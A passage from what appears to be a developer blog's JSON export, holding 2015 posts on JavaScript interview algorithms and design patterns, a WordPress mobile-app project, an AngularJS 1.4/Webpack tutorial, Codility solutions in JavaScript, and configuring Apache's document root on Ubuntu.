sufficient to remember only the last two values).\nfunction fibonacci(n){ var fiboSequence = [0, 1]; if (n \u0026lt; 2) return n; for (var i = 2; i \u0026lt;=n; i++ ){ fiboSequence[i] = fiboSequence[i-1] + fiboSequence[i-2]; } return fiboSequence[n]; } fibonacci(2); // Response: 1 fibonacci(3); // Response: 2 fibonacci(4); // Response: 3 fibonacci(5); // Response: 5 Complexity: The time complexity of the above algorithm is O(n).\nGoing further\rOnce those basic algorithms in mind if you want to go further I suggest you test yourself using Codility\u0026rsquo;s great challenges.\nSome of the solutions in JavaScript are available here: Codility efficient algorithm solutions in JavaScript\nDesign Patterns\rBefore an interview you need to know some of the most known design patterns and anti patterns. To do so I highly recommend reading Addy Osmani\u0026rsquo;s book \u0026ldquo;Learning JavaScript Design Patterns\u0026rdquo;. It is available for free http://addyosmani.com/resources/essentialjsdesignpatterns/book under http://creativecommons.org/licenses/by-nc-nd/3.0/ .\nCreational\rCreational design patterns are design patterns that deal with object creation mechanisms, trying to create objects in a manner suitable to the situation.\nSome of the patterns that fall under this category are: Constructor, Factory, Abstract, Prototype, Singleton and Builder.\nFactory\rThe Factory pattern is another creational pattern concerned with the notion of creating objects. Where it differs from the other patterns in its category is that it doesn\u0026rsquo;t explicitly require us use a constructor. Instead, a Factory can provide a generic interface for creating objects, where we can specify the type of factory object we wish to be created.\nMore info: http://addyosmani.com/resources/essentialjsdesignpatterns/book/#factorypatternjavascript // A constructor for defining new cars function Car(options) { this.doors = options.doors || 4; this.state = options.state || \u0026#34;brand new\u0026#34;; this.color = options.color || \u0026#34;silver\u0026#34;; } // A constructor for defining new trucks function Truck(options) { this.state = options.state || \u0026#34;used\u0026#34;; this.wheelSize = options.wheelSize || \u0026#34;large\u0026#34;; this.color = options.color || \u0026#34;blue\u0026#34;; } // Define a skeleton vehicle factory function VehicleFactory() {} // Define the prototypes and utilities for this factory // Our default vehicleClass is Car VehicleFactory.prototype.vehicleClass = Car; // Our Factory method for creating new Vehicle instances VehicleFactory.prototype.createVehicle = function(options) { switch (options.vehicleType) { case \u0026#34;car\u0026#34;: this.vehicleClass = Car; break; case \u0026#34;truck\u0026#34;: this.vehicleClass = Truck; break; //defaults to VehicleFactory.prototype.vehicleClass (Car) } return new this.vehicleClass(options); }; // Create an instance of our factory that makes cars var carFactory = new VehicleFactory(); var car = carFactory.createVehicle({ vehicleType: \u0026#34;car\u0026#34;, color: \u0026#34;yellow\u0026#34;, doors: 6 }); // Test to confirm our car was created using the vehicleClass/prototype Car // Outputs: true console.log(car instanceof Car); Prototype\rWe can think of the prototype pattern as being based on prototypal inheritance where we create objects which act as prototypes for other objects. The prototype object itself is effectively used as a blueprint for each object the constructor creates. If the prototype of the constructor function used contains a property called name for example (as per the code sample lower down), then each object created by that same constructor will also have this same property.\nMore info: http://addyosmani.com/resources/essentialjsdesignpatterns/book/#prototypepatternjavascript var myCar = { name: \u0026#34;Ford Escort\u0026#34;, drive: function() { console.log(\u0026#34;Weeee. I\u0026#39;m driving!\u0026#34;); }, panic: function() { console.log(\u0026#34;Wait. How do you stop this thing?\u0026#34;); } }; // Use Object.create to instantiate a new car var yourCar = Object.create(myCar); // Now we can see that one is a prototype of the other console.log(yourCar.name); Singleton\rThe Singleton pattern is thus known because it restricts instantiation of a class to a single object. Classically, the Singleton pattern can be implemented by creating a class with a method that creates a new instance of the class if one doesn\u0026rsquo;t exist. In the event of an instance already existing, it simply returns a reference to that object.\nMore info: http://addyosmani.com/resources/essentialjsdesignpatterns/book/#singletonpatternjavascript var mySingleton = (function() { // Instance stores a reference to the Singleton var instance; function init() { // Private methods and variables function privateMethod() { console.log(\u0026#34;I am private\u0026#34;); } var privateVariable = \u0026#34;Im also private\u0026#34;; var privateRandomNumber = Math.random(); return { // Public methods and variables publicMethod: function() { console.log(\u0026#34;The public can see me!\u0026#34;); }, publicProperty: \u0026#34;I am also public\u0026#34;, getRandomNumber: function() { return privateRandomNumber; } }; }; return { // Get the Singleton instance if one exists // or create one if it doesn\u0026#39;t getInstance: function() { if (!instance) { instance = init(); } return instance; } }; })(); var singleA = mySingleton.getInstance(); var singleB = mySingleton.getInstance(); console.log(singleA === singleB); // true Structural\rStructural design patterns are design patterns that ease the design by identifying a simple way to realize relationships between entities.\nPatterns that fall under this category include: Decorator, Facade, Flyweight, Adapter and Proxy.\nDecorator\rDecorators are a structural design pattern that aim to promote code re-use. Similar to Mixins, they can be considered another viable alternative to object sub-classing.\nClassically, Decorators offered the ability to add behaviour to existing classes in a system dynamically.\nMore info: http://addyosmani.com/resources/essentialjsdesignpatterns/book/#decoratorpatternjavascript function Vehicle(vehicleType) { this.vehicleType = vehicleType || \u0026#34;car\u0026#34;; this.model = \u0026#34;default\u0026#34;; this.license = \u0026#34;00000-000\u0026#34;; } // Lets create a new instance of vehicle, to be decorated var truck = new Vehicle(\u0026#34;truck\u0026#34;); // New functionality we\u0026#39;re decorating vehicle with truck.setModel = function(modelName) { this.model = modelName; }; truck.setColor = function(color) { this.color = color; }; // Test the value setters and value assignment works correctly truck.setModel(\u0026#34;CAT\u0026#34;); truck.setColor(\u0026#34;blue\u0026#34;); console.log(truck); // Outputs: // vehicle:truck, model:CAT, color: blue // Demonstrate \u0026#34;vehicle\u0026#34; is still unaltered var secondInstance = new Vehicle(\u0026#34;car\u0026#34;); console.log(secondInstance); Behavior\rBehavioral design patterns are design patterns that identify common communication patterns between objects and realize these patterns. By doing so, these patterns increase flexibility in carrying out this communication.\nSome behavioral patterns include: Iterator, Mediator, Observer and Visitor.\nIterator\rThe Iterator is a design pattern where iterators (objects that allow us to traverse through all the elements of a collection) access the elements of an aggregate object sequentially without needing to expose its underlying form.\nIterators encapsulate the internal structure of how that particular iteration occurs. In the case of jQuery\u0026rsquo;s jQuery.fn.each() iterator, we are actually able to use the underlying code behind jQuery.each() to iterate through a collection, without needing to see or understand the code working behind the scenes providing this capability.\nMore info: http://addyosmani.com/resources/essentialjsdesignpatterns/book/#iteratorpatternjquery $.each([\u0026#34;john\u0026#34;, \u0026#34;dave\u0026#34;, \u0026#34;rick\u0026#34;, \u0026#34;julien\u0026#34;], function(index, value) { console.log(index + \u0026#34;: \u0026#34; + value); }); Here we can see the code for jQuery.fn.each():\n// Execute a callback for every element in the matched set. each: function(callback, args) { return jQuery.each(this, callback, args); } Followed by a simplified version of the code behind jQuery.each()\neach: function(object, callback, args) { var name, i = 0, length = object.length, isObj = length === undefined || jQuery.isFunction(object); if (isObj) { for (name in object) { if (callback.call(object[name], name, object[name]) === false) { break; } } } else { for (; i \u0026lt; length;) { if (callback.call(object[i], i, object[i++]) === false) { break; } } } return object; }; Sources\rhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures\rhttp://www.thatjsdude.com/interview/js1.html\rhttps://www.topcoder.com/community/data-science/data-science-tutorials/binary-search/\rhttp://pages.cs.wisc.edu/~vernon/cs367/notes/3.COMPLEXITY.html\rhttps://github.com/addyosmani/essential-js-design-patterns\rhttp://en.wikipedia.org/wiki/Creational_pattern\rhttp://en.wikipedia.org/wiki/Structural_pattern\rhttp://en.wikipedia.org/wiki/Behavioral_pattern\r","permalink":"https://julienrenaux.fr/2015/05/25/javascript-background-to-have-before-any-job-interview-with-top-companies/","tags":[],"title":"JavaScript background to have before any job interview with top companies"},{"categories":[],"content":"After more than 100 commits, I am happy to announce the release of my latest Open Source project WordPress Hybrid Client available on GitHub.\nWith WPHC you will be able to generate iOS and Android applications in a blink of an eye. Before anything you will need to install WP-API plugin which basically will turn your Website into a REST API.\nThen you can refer to the documentation to properly build your applications. A Computer science background is required but the explanations should be clear enough.\nI first created this project for my blog app that is now available on Android and iOS (approval still pending). Go check it out, it speaks for itself!\nAs it is an Open Source project, any help is welcome, I have created issues and milestones to help people get a clear understanding on where the project is heading.\nIf you have any questions please ask on the comments.\n","permalink":"https://julienrenaux.fr/2015/05/20/wordpress-hybrid-client-create-free-iosandroid-mobile-applications-for-wordpress/","tags":[],"title":"WordPress Hybrid Client: Create free iOS/Android mobile applications for WordPress"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"AngularJS 1.4 has now been released.\nIt introduces a new Router, a translation system similar to angular-translate created by Pascal Precht , some performance enhancement and a better Webpack, Browserify support (CommonJS) without any \u0026ldquo;hacks\u0026rdquo;. You can for example directly import AngularJS like this\nimport \u0026#39;angular/angular.js\u0026#39;; instead of this\nrequire(\u0026#39;expose?angular!exports?window.angular!angular/angular.js\u0026#39;) Demo Source available on Github : https://github.com/shprink/angular1.4-ES6-material-webpack-boilerplate Basic Needs Dependencies (package.json) For this tutorial we will need AngularJS, Angular Material , the UI router (The new router is not ready for production yet) and a icon library .\n[text] \u0026ldquo;dependencies\u0026rdquo;: { \u0026ldquo;angular\u0026rdquo;: \u0026ldquo;~1.4.0\u0026rdquo;, \u0026ldquo;angular-animate\u0026rdquo;: \u0026ldquo;~1.4.0\u0026rdquo;, \u0026ldquo;angular-aria\u0026rdquo;: \u0026ldquo;~1.4.0\u0026rdquo;, \u0026ldquo;angular-material\u0026rdquo;: \u0026ldquo;^0.10.1\u0026rdquo;, \u0026ldquo;angular-ui-router\u0026rdquo;: \u0026ldquo;^0.2.14\u0026rdquo;, \u0026ldquo;font-awesome\u0026rdquo;: \u0026ldquo;^4.3.0\u0026rdquo; } [/text]\nWebpack If you need an explanation on what is Webpack for, I suggest you go check out a previous post of mine: https://julienrenaux.fr/2015/03/30/introduction-to-webpack-with-practical-examples/ We will need the following Webpack loaders to be able to compile ECMAScript 6 code and to process CSS, HTML files.\n[text] \u0026ldquo;devDependencies\u0026rdquo;: { \u0026ldquo;babel-loader\u0026rdquo;: \u0026ldquo;^5.0.0\u0026rdquo;, \u0026ldquo;css-loader\u0026rdquo;: \u0026ldquo;^0.12.0\u0026rdquo;, \u0026ldquo;file-loader\u0026rdquo;: \u0026ldquo;^0.8.1\u0026rdquo;, \u0026ldquo;html-loader\u0026rdquo;: \u0026ldquo;^0.3.0\u0026rdquo;, \u0026ldquo;html-webpack-plugin\u0026rdquo;: \u0026ldquo;^1.3.0\u0026rdquo;, \u0026ldquo;style-loader\u0026rdquo;: \u0026ldquo;^0.12.1\u0026rdquo; } [/text]\nThe webpack.config.js cannot be easier:\nmodule.exports = { entry: \u0026#39;./lib/index.js\u0026#39;, output: { path: \u0026#39;./www\u0026#39;, filename: \u0026#39;bundle-[hash:6].js\u0026#39; }, module: { loaders: [{ test: /\\.html$/, loader: \u0026#39;file?name=templates/[name]-[hash:6].html\u0026#39; }, { test: /\\.css$/, loader: \u0026#34;style!css\u0026#34; }, { test: /\\.js$/, exclude: /(node_modules)/, loader: \u0026#34;ng-annotate?add=true!babel\u0026#34; }, { test: [/fontawesome-webfont\\.svg/, /fontawesome-webfont\\.eot/], loader: \u0026#39;file?name=fonts/[name].[ext]\u0026#39; }] }, plugins: [ new HtmlWebpackPlugin({ filename: \u0026#39;index.html\u0026#39;, template: \u0026#39;./lib/index.html\u0026#39; }) ] }; Entry point (lib/index.js) The following entry point gathers all our application basic needs: Angular, Material Design, the router and the icons. Here we use import which is the ECMAScript 6 way to require CommonJS modules, inject angularMaterial and angularUIRouter as our module dependencies and to finish we export our module as default (You can export several modules within a single file, default is the export you will get if you do not specify a specific import).\n// Import angular import \u0026#39;angular/angular.js\u0026#39;; // Material design css import \u0026#39;angular-material/angular-material.css\u0026#39;; // Icons import \u0026#39;font-awesome/css/font-awesome.css\u0026#39;; // Materail Design lib import angularMaterial from \u0026#39;angular-material\u0026#39;; // Router import angularUIRouter from \u0026#39;angular-ui-router\u0026#39;; // Create our demo module let demoModule = angular.module(\u0026#39;demo\u0026#39;, [ angularMaterial, angularUIRouter ]) export default demoModule; Index.html The index.html needs two things. A way to bootstrap the application (here ng-app=\u0026quot;demo\u0026quot;) and a way to include the JavaScript file generated by Webpack (here src=\u0026quot;{%=o.htmlWebpackPlugin.assets[chunk]%}\u0026quot;).\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body ng-strict-di ng-app=\u0026#34;demo\u0026#34;\u0026gt; {% for (var chunk in o.htmlWebpackPlugin.assets) { %} \u0026lt;script src=\u0026#34;{%=o.htmlWebpackPlugin.assets[chunk]%}\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; {% } %} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Now you should have your demo module running. To make sure it works add the following lines to your entry point:\ndemoModule.run(($log) =\u0026gt; { $log.info(\u0026#39;demo running\u0026#39;); }) and check the console!\nGoing further Create your own module Now that our application is running let\u0026rsquo;s create a home module with ES6!\n// Create a new module let homeModule = angular.module(\u0026#39;demo.home\u0026#39;, []); // Named export is needed to inject modules directly as Angular dependencies export default homeModule = homeModule.name Then we can import it the same way as other modules:\nimport home from \u0026#39;./home/home.module.js\u0026#39;; // Create our demo module let demoModule = angular.module(\u0026#39;demo\u0026#39;, [ angularMaterial, angularUIRouter, home ]) Now let\u0026rsquo;s create a controller function './home.controller' that will be imported by our new module:\nexport default function($scope) { \u0026#39;ngInject\u0026#39;; } 'ngInject'; is an annotation of ng-annotate that allow us to use AngularJS in strict mode. If you want to know more about Ng-annotate here is an explanation: https://julienrenaux.fr/2015/01/18/angularjs-1-x-open-source-projects-to-follow-in-2015/#Ng-Annotate We can then import the function that way:\nlet homeModule = angular.module(\u0026#39;demo.home\u0026#39;, []); import HomeController from \u0026#39;./home.controller\u0026#39;; homeModule.controller(\u0026#39;HomeController\u0026#39;, HomeController); export default homeModule = homeModule.name Full demo A working example is available on Github, feel free to fork: https://github.com/shprink/angular1.4-ES6-material-webpack-boilerplate Install git clone git@github.com:shprink/angular1.4-ES6-material-webpack-boilerplate.git\rcd angular1.4-ES6-material-webpack-boilerplate.git\rnpm install Dev (liverelaod server) npm run-script devserver Build npm run-script build ","permalink":"https://julienrenaux.fr/2015/05/05/creating-an-application-with-angularjs-1-4-ecmascript-6-material-design-and-webpack/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"Creating an application with AngularJS 1.4, ECMAScript 6, Material Design and Webpack"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post aim is to provide Codility algorithm solutions in JavaScript as there are so many of them available out there. I am not pretending to have the best algorithm possible but at least the following answers scored 100% on Codility test result.\nI created this article to prepare for Toptal interview process . If you wish to apply to Toptal , here is a referral link that will link your account to mine if you are successful!\nAfter reading the task description a wise thing to do is to check the expected worst case time complexity. It gives you a hint on how to apprehend the solution. For instance if the worst case time complexity is O(N), you would probably need to use a for loop, if it is O(N*M) a nested for loop might be necessary etc.\nThis post in on going, I am adding new solutions often.\nLesson 1: Time Complexity FrogJmp Difficulty: PAINLESS\nCount minimal number of jumps from position X to Y.\nhttps://codility.com/demo/take-sample-test/frog_jmp Expected time complexity: worst-case is O(1)\nfunction solution(X, Y, D) { return Math.ceil((Y - X)/ D); } PermMissingElem Difficulty: PAINLESS\nFind the missing element in a given permutation.\nhttps://codility.com/demo/take-sample-test/perm_missing_elem Expected time complexity: worst-case is O(N)\nfunction solution(A) { var length = A.length; var sum = ((length + 1) /2) * (length + 2); var sumMinusMissing = 0; for (i = 0; i \u0026lt; length; i++) { sumMinusMissing += A[i]; } return sum - sumMinusMissing; } TapeEquilibrium Difficulty: PAINLESSS\nMinimize the value |(A[0] + \u0026hellip; + A[P-1]) - (A[P] + \u0026hellip; + A[N-1])|\nhttps://codility.com/demo/take-sample-test/tape_equilibrium Expected time complexity: worst-case is O(N)\nfunction solution(A) { var sumAfter = sumBefore = 0; var minDiff = Number.POSITIVE_INFINITY; A.forEach(function(value){ sumAfter += value; }); for (var i = 1; i \u0026lt; A.length; i++){ sumBefore += A[i -1]; sumAfter = sumAfter - A[i -1]; minDiffTemp = Math.abs(sumBefore - sumAfter); if (minDiffTemp \u0026lt; minDiff){ minDiff = minDiffTemp; } } return minDiff; } Lesson 2: Counting Elements MaxCounters Difficulty: RESPECTETABLE\nCalculate the values of counters after applying all alternating operations: increase counter by 1; set value of all counters to current maximum.\nhttps://codility.com/demo/take-sample-test/max_counters Expected time complexity: worst-case is O(N+M)\nfunction solution(N, A) { var counters = [], size = N, max = 0, forValue = 0, counter = 0, lastUpdate = 0; // init zeros for (var i = 0; i \u0026lt; N; i++){ counters[i] = 0; } for (var i = 0; i \u0026lt; A.length; i++){ if (A[i] \u0026lt;= N){ position = A[i] -1; if (counters[position] \u0026lt; lastUpdate){ counters[position] = lastUpdate + 1; } else { counters[position] = counters[position]+1; } if (counters[position] \u0026gt; max) { max = counters[position]; } } else { lastUpdate = max; } } for (var i = 0; i \u0026lt; N; i++){ if (counters[i] \u0026lt; lastUpdate) counters[i] = lastUpdate; } return counters; } MissingInteger Difficulty: RESPECTETABLE\nFind the minimal positive integer not occurring in a given sequence.\nhttps://codility.com/demo/take-sample-test/missing_integer Expected time complexity: worst-case is O(N)\nfunction solution(A) { var onlyPositiveInt = []; for (var i =0; i \u0026lt; A.length; i++){ if (A[i] \u0026gt; 0 ){ onlyPositiveInt[A[i]] = true; } } for (i = 1; i \u0026lt;= onlyPositiveInt.length; i++){ if (!onlyPositiveInt[i]){ return i; } } return 1; } Lesson 3: Prefix Sums In computer science, the prefix sum, scan, or cumulative sum of a sequence of numbers x0, x1, x2, \u0026hellip; is a second sequence of numbers y0, y1, y2, \u0026hellip;, the sums of prefixes (running totals) of the input sequence\nhttp://en.wikipedia.org/wiki/Prefix_sum Material https://codility.com/media/train/3-PrefixSums.pdf PassingCars Difficulty: PAINLESS\nCount the number of passing cars on the road.\nhttps://codility.com/demo/take-sample-test/passing_cars Expected time complexity: worst-case is O(N)\nfunction solution(A) { var ones = 0, passing = 0; for(var i=A.length-1; i\u0026gt;=0; i--) { if (A[i] === 0){ passing += ones; if (passing \u0026gt; 1000000000){ return -1; } } else { ones ++; } } return passing; } CountDiv Difficulty: RESPECTETABLE\nCompute number of integers divisible by k in range [a..b].\nhttps://codility.com/demo/take-sample-test/count_div For this one your coding skills won\u0026rsquo;t help. It is a pure math problem.\nExpected time complexity: worst-case is O(1)\nfunction solution(A, B, K) { if (A % K === 0) return Math.floor((B - A) / K + 1); return Math.floor((B - (A - (A % K) )) / K) } MinAvgTwoSlice Difficulty: RESPECTETABLE\nFind the minimal average of any slice containing at least two elements.\nhttps://codility.com/demo/take-sample-test/min_avg_two_slice Expected time complexity: worst-case is O(N)\nStill searching for this one. If you have a 100% solution please share :)\nGenomicRangeQuery Difficulty: RESPECTETABLE\nFind the minimal nucleotide from a range of sequence DNA.\nhttps://codility.com/demo/take-sample-test/genomic_range_query Expected time complexity: worst-case is O(N+M)\nfunction solution(S, P, Q) { var positionOne, positionTwo, factorPerType = { \u0026#34;A\u0026#34;:1, \u0026#34;C\u0026#34;:2, \u0026#34;G\u0026#34;:3, \u0026#34;T\u0026#34;:4 }, prefix = [[0,0,0,0]], Plen = P.length, Slen = S.length, result =[], counterType = [0,0,0,0]; for(var i = 0; i\u0026lt;Slen; i++) { counterType = counterType.concat(); // local copy counterType[factorPerType[S[i]] -1]++; prefix.push(counterType); } for(i=0; i\u0026lt;Plen; i++) { positionOne = P[i] + 1; positionTwo = Q[i]+ 1; var finalCount =0; for (j = 0; j \u0026lt; 4; j++){ finalCount = prefix[positionTwo][j] - prefix[positionOne -1][j]; if (finalCount \u0026gt; 0){ result.push(j + 1); break; } } } return result; } Lesson 4: Sorting MaxProductOfThree Difficulty: PAINLESS\nMaximize A[P] * A[Q] * A[R] for any triplet (P, Q, R).\nhttps://codility.com/demo/take-sample-test/max_product_of_three Expected time complexity: worst-case is O(N*log(N))\nfunction solution(A) { var N = A.length; // Sort ascending A.sort(function(a, b){ return a - b; }); // the max product of three elements is the product of the last three // elements in the sorted array or the product of the first two elements // and the last element if the first two elements are negatives. return Math.max(A[0] * A[1] * A[N-1], A[N-3] * A[N-2] * A[N-1]); } Distinct Difficulty: PAINLESS\nCompute number of distinct values in an array.\nhttps://codility.com/demo/take-sample-test/distinct Expected time complexity: worst-case is O(N*log(N))\nfunction solution(A) { var leng = A.length, counter = 0; // Sort ascending A.sort(function(a, b){ return a - b; }); for (var i=1; i \u0026lt;= leng; i++){ if (A[i] != A[i - 1]){ counter++; } } return counter; } Triangle Difficulty: PAINLESS\nDetermine whether a triangle can be built from a given set of edges.\nhttps://codility.com/demo/take-sample-test/triangle Expected time complexity: worst-case is O(N*log(N))\nfunction solution(A) { var len = A.length; // Sort descending A.sort(function(a, b){ return b - a; }); for(var i=0; i\u0026lt;len - 2; i++) { var P = i, Q= i+1, R= i+2; var condition1 = A[P] + A[Q] \u0026gt; A[R]; var condition2 = A[Q] + A[R] \u0026gt; A[P]; var condition3 = A[R] + A[P] \u0026gt; A[Q]; if (condition1 \u0026amp;amp;\u0026amp;amp; condition2 \u0026amp;amp;\u0026amp;amp; condition3){ return 1; } } return 0; } NumberOfDiscIntersections Difficulty: RESPECTETABLE\nCompute intersections between sequence of discs.\nhttps://codility.com/demo/take-sample-test/number_of_disc_intersections/ Expected worst-case time complexity is O(N*log(N));\nfunction solution(A) { var len = A.length, tupples = [], count =0; for (var i=0; i \u0026lt; len; i++){ tupples.push([i - A[i], i + A[i]]); } // [[5,5], [0,4], [-4, 6]] =\u0026gt; [[-4, 6], [0,4], [5,5]] tupples.sort(function(a,b){ return a[0] - b[0]; }); for (var j=0; j \u0026lt; len; j++){ var tupple = tupples[j]; for (var k=j+1; k \u0026lt; len; k++){ var comparisonTupple = tupples[k]; if (comparisonTupple[0] \u0026lt;= tupple[1]){ count++; if (count \u0026gt;10000000){ return -1; } } else { break; } } } return count; } Lesson 5: Stacks and Queues Brackets Difficulty: PAINLESS\nDetermine whether given string of parentheses is properly nested.\nhttps://codility.com/demo/take-sample-test/brackets/ Expected worst-case time complexity is O(N)\nfunction solution(S) { var len = S.length; if (!len){ return 1; } var stack = [], matches = { \u0026#34;{\u0026#34; : \u0026#34;}\u0026#34;, \u0026#34;(\u0026#34; : \u0026#34;)\u0026#34;, \u0026#34;[\u0026#34; : \u0026#34;]\u0026#34; }; for (i=0; i \u0026lt; len; i++){ var currentCharacter = S[i]; if (matches[currentCharacter]){ stack.push(currentCharacter); } else { if (!stack.length){ return 0; } var previousCharacter = stack.pop(); if (matches[previousCharacter] !== currentCharacter){ return 0; } } } return (stack.length)? 0 : 1; } Nesting Difficulty: PAINLESS\nDetermine whether given string of parentheses is properly nested.\nhttps://codility.com/demo/take-sample-test/nesting/ Expected worst-case time complexity is O(N)\nfunction solution(S) { var len = S.length; if (!len){ return 1; } var stack = [], matches = { \u0026#34;(\u0026#34; : \u0026#34;)\u0026#34; }; for (i=0; i \u0026lt; len; i++){ var currentCharacter = S[i]; if (matches[currentCharacter]){ stack.push(currentCharacter); } else { if (!stack.length){ return 0; } var previousCharacter = stack.pop(); if (matches[previousCharacter] !== currentCharacter){ return 0; } } } return (stack.length)? 0 : 1; } Fish Difficulty: PAINLESS\nN voracious fish are moving along a river. Calculate how many fish are alive.\nhttps://codility.com/demo/take-sample-test/fish/ Expected worst-case time complexity is O(N)\nfunction solution(A, B) { var len = A.length, count = parseInt(len), stackDownstreamFishes = []; for (var i = 0; i \u0026lt; len; i++){ var direction = B[i] ? \u0026#39;downstream\u0026#39; : \u0026#39;upstream\u0026#39;; if (direction === \u0026#39;downstream\u0026#39;){ stackDownstreamFishes.push(A[i]); } else { // Going backward through all downstream fishes for(var j= stackDownstreamFishes.length-1; j\u0026gt;=0; j--) { var lastDownstreamFishSize = stackDownstreamFishes[j]; if (lastDownstreamFishSize \u0026gt; A[i]){ count--; break; } else if (lastDownstreamFishSize \u0026lt; A[i]){ count--; stackDownstreamFishes.pop(); } } } } return count; } StoneWall Difficulty: PAINLESS\nCover \u0026ldquo;Manhattan skyline\u0026rdquo; using the minimum number of rectangles.\nhttps://codility.com/demo/take-sample-test/stone_wall/ Expected worst-case time complexity is O(N)\nfunction solution(H) { var len = H.length, stack = [H[0]], result = 1; if (!len) { return 0; } for (var i = 1; i \u0026lt; len; i++) { var currentHeight = H[i]; while (stack.length \u0026amp;amp;\u0026amp;amp; stack[stack.length - 1] \u0026gt;= currentHeight) { if (currentHeight == stack[stack.length - 1]) { result--; } stack.pop(); } stack.push(currentHeight); result++; } return result; } I started with a backward for loop:\nfor (var j = stack.length - 1; j \u0026gt;= 0; j--) { if (stack[j] \u0026lt; currentHeight) { break; } if (stack[j] == currentHeight) { result--; } stack.pop(); } But a while loop is faster: https://jsperf.com/compare-while-loop-vs-for-loop/4 Lesson 6: Leader Material https://codility.com/media/train/6-Leader.pdf EquiLeader Difficulty: PAINLESS\nFind the index S such that the leaders of the sequences A[0], A[1], \u0026hellip;, A[S] and A[S + 1], A[S + 2], \u0026hellip;, A[N - 1] are the same.\nhttps://codility.com/demo/take-sample-test/equi_leader/ Expected worst-case time complexity is O(N)\nfunction solution(A) { var len = A.length, i = 0, j = 0, k = 0, size = 0, indexCount = 0, candidateCount = 0, leader, leaderCount = 0, candidate = null; // First find the leader within A for (; i \u0026lt; len; i++) { if (size === 0) { size++; candidate = A[i]; } else { (candidate === A[i]) ? size++ : size--; } } for (; j \u0026lt; len; j++) { if (A[j] === candidate) { candidateCount++; } } if (candidateCount \u0026lt;= len / 2) { // Our candidate failed :( return 0; } else { // we have a winner! leader = candidate; leaderCount = candidateCount; } var leaderLeftCount = 0; for (; k \u0026lt; len - 1; k++) { var lenLeft = (k + 1); var lenRight = len - lenLeft; if (A[k] === leader) { leaderCount--; leaderLeftCount++; } if (leaderLeftCount \u0026gt; (lenLeft / 2) \u0026amp;amp;\u0026amp;amp; leaderCount \u0026gt; (lenRight / 2)) { indexCount++; } } return indexCount; } Dominator Difficulty: PAINLESS\nFind an index of an array such that its value occurs at more than half of indices in the array.\nhttps://codility.com/demo/take-sample-test/dominator/ Expected worst-case time complexity is O(N)\nfunction solution(A) { var len = A.length, i = 0, j = 0, leaderCount = 0, latestIndex = -1, size = 0, candidate = null, value = null; for (; i \u0026lt; len; i++){ if (size === 0){ size++; value = A[i]; } else { value !== A[i] ? size-- : size++; } } candidate = value; for (; j \u0026lt; len; j++){ if (candidate === A[j]){ leaderCount++; } if (leaderCount \u0026gt; len / 2){ latestIndex = j; break; } } return latestIndex; } Lesson 7: Maximum slice problem Material https://codility.com/media/train/7-MaxSlice.pdf MaxProfit Difficulty: PAINLESS\nGiven a log of stock prices compute the maximum possible earning.\nhttps://codility.com/demo/take-sample-test/max_profit/ Expected worst-case time complexity is O(N)\nAt first I could not find a better solution the following:\nfunction solution(A) { var len = A.length, i= len-1, max = 0; for(; i\u0026gt;=0; i--) { var stockShare = A[i]; for(j = i-1; j\u0026gt;=0; j--) { var diff = stockShare - A[j]; if (diff \u0026gt; max){ max = diff; } } } return max; } The time complexity is quadratic O(N^2) which is terrible.\nThen I spent a little more time thinking about it and I ended up writing the following which has the correct time complexity: O(N).\n","permalink":"https://julienrenaux.fr/2015/04/27/codility-efficient-algorithm-solutions-in-javascript/","tags":[{"LinkTitle":"Algorithms","RelPermalink":"/tags/algorithms/"},{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"}],"title":"Codility efficient algorithm solutions in JavaScript"},{"categories":[{"LinkTitle":"Ops","RelPermalink":"/categories/ops/"}],"content":"Having the default Apache document root to /etc/www can be sometimes annoying because of permissions. I strongly recommend to use a folder into your home folder.\nFor the sake of this post, I will use the folder Sites (that I created under my personal folder /home/shprink/Sites/).\nPS: The Apache version used for this post is: 2.4.10 (Ubuntu), you can see yours using apache2 -v command.\nChanging apache2 document root The default document root is set in the 000-default.conf file that is under /etc/apache2/sites-available folder.\n$ cd /etc/apache2/sites-available $ sudo nano 000-default.conf While the file is opened change DocumentRoot /var/www/ with your new folder e.g DocumentRoot /home/shprink/Sites/\nSet the right Apache configuration The configuration of the /etc/www folder is under /etc/apache2/apache2.conf. Edit this file to add the configuration of your new document root.\n$ sudo nano /etc/apache2/apache2.conf Copy the following:\n\u0026lt;Directory /var/www/\u0026gt; Options Indexes FollowSymLinks AllowOverride None Require all granted \u0026lt;/Directory\u0026gt; and change the directory path:\n\u0026lt;Directory /home/shprink/Sites/\u0026gt; Options Indexes FollowSymLinks AllowOverride None Require all granted \u0026lt;/Directory\u0026gt; Restart Apache $ sudo service apache2 restart Set the right permission All of your document root parent folders must be executable by everyone. To know if it is the case you can use the utility namei that list the permissions along each component of the path:\n$ namei -m /home/shprink/Sites/ f: /home/shprink/Sites/ drwxr-xr-x / drwxr-xr-x home drwx------ shprink drwx------ Sites Here as you can see that shprink and Sites permissions are not set properly.\nOpen http://localhost/ in your browser, you should get the following message:\nForbidden You don\u0026rsquo;t have permission to access / on this server.\nOpen the apache error log to see the exact error code e.g AH00035. It might help you to get more information.\n$ sudo tail -f /var/log/apache2/error.log [Mon Apr 06 09:04:26.518260 2015] [core:error] [pid 22139] (13)Permission denied: [client 127.0.0.1:45121] AH00035: access to / denied (filesystem path \u0026#39;/home/shprink/Sites\u0026#39;) because search permissions are missing on a component of the path To fix the permission problem for good, using chmod +755 should be enough.\n$ chmod +755 /home/shprink/ $ chmod +755 /home/shprink/Sites/ Re run namei to make sure everything is ok.\n$ namei -m ~/Sites/ f: /home/shprink/Sites/ drwxr-xr-x / drwxr-xr-x home drwxr-xr-x shprink drwxr-xr-x Sites Now opening http://localhost/ should work as expected. If you are having trouble please leave a 